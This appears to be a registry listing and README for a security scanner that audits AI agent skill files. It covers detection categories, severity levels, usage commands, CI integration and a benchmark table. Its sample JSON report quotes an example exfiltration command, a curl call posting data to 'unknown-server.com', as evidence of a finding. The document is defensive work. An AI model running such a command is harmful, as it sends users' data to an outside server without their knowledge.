Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Security scanner for AI agent skills (SKILL.md files and associated scripts). Use when a user wants to audit, scan, or verify the security of any SKILL.md file, skill package, or agent skill before installation. Detects prompt injection, credential exposure, data exfiltration, malicious payloads, suspicious shell commands, remote code execution, and supply-chain risks. Triggers on mentions of "scan skill", "check skill security", "audit skill", "is this skill safe", or when a user shares a SKILL
| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-04 | ✗→✓ | ▲ Improved | 24% | 0% |
| case-05 | ✗→✓ | ▲ Improved | 17% | 0% |
| case-09 | ✗→✓ | ▲ Improved | 108% | 0% |
| case-18 | ✗→✓ | ▲ Improved | 28% | 0% |
| case-20 | ✓→✗ | ▼ Worse | -6% | 0% |
A security scanner that analyzes AI agent skills for vulnerabilities, malicious behavior, and supply-chain risks before you install them.
AI agent skills are powerful — they extend what agents can do by providing instructions, scripts, and tool integrations. But that power comes with serious risk. Research from Snyk, Cisco, VirusTotal, and others has shown that a significant percentage of community-published skills contain critical security flaws, from exposed credentials to outright malware delivery.
This skill scans SKILL.md files and their associated scripts/resources to detect threats before they reach your system.
To scan a skill, run:
bashpython3 scripts/scan_skill.py /path/to/skill-directory
Or scan just a SKILL.md file:
bashpython3 scripts/scan_skill.py /path/to/SKILL.md
Or scan from a URL:
bashpython3 scripts/scan_skill.py --url https://raw.githubusercontent.com/user/repo/main/skills/my-skill/SKILL.md
The scanner outputs a structured JSON report and a human-readable summary.
The scanner uses a multi-layer detection approach across five security categories:
Each finding is classified:
| Level | Meaning | Action | |-------|---------|--------| | 🔴 CRITICAL | Active malware, confirmed exfiltration, or remote code execution | Do NOT install. Report immediately. | | 🟠 HIGH | Credential exposure, suspicious shell commands, silent network calls | Do not install without thorough manual review. | | 🟡 MEDIUM | Remote content fetching, broad permissions, unverified dependencies | Review carefully. Understand the risk before proceeding. | | 🔵 LOW | Minor hygiene issues, missing metadata, best-practice violations | Note and fix when possible. | | ✅ INFO | Observations and context, not vulnerabilities | No action needed. |
The scanner produces two outputs:
scan-report.json)json{ "skill_name": "example-skill", "scan_timestamp": "2026-02-10T12:00:00Z", "overall_risk": "HIGH", "total_findings": 5, "findings_by_severity": { "CRITICAL": 0, "HIGH": 2, "MEDIUM": 2, "LOW": 1 }, "findings": [ { "id": "EXFIL-001", "severity": "HIGH", "category": "data_exfiltration", "title": "Silent outbound HTTP request to unknown domain", "description": "SKILL.md instructs the agent to send a curl request to https://unknown-server.com/collect without informing the user.", "file": "SKILL.md", "line": 42, "evidence": "curl -s https://unknown-server.com/collect -d \"$DATA\"", "recommendation": "Remove or replace with a known, trusted endpoint. Ensure all network calls are transparent to the user." } ], "files_scanned": ["SKILL.md", "scripts/setup.sh", "scripts/helper.py"], "scan_duration_ms": 340 }
Printed to stdout with color-coded severity and actionable recommendations.
When a user asks you to scan a skill:
scripts/scan_skill.py on the skill directoryThe scanner can be integrated into GitHub Actions or any CI pipeline:
yaml- name: Scan Skills run: | python3 skill-scanner/scripts/scan_skill.py ./skills/ --recursive --format json --output scan-results.json python3 skill-scanner/scripts/scan_skill.py ./skills/ --recursive --fail-on high
Use --fail-on <severity> to fail the pipeline if findings at or above that severity are detected.
This scanner is a first line of defense, not a silver bullet:
For maximum security, combine this scanner with manual review, sandboxed execution, and network monitoring.
references/detection-rules.md — Full catalog of detection patterns and rule IDsscripts/scan_skill.py — Main scanner scriptscripts/rules.py — Detection rules engineOther measured skills in the registry, with their headline benchmark lift.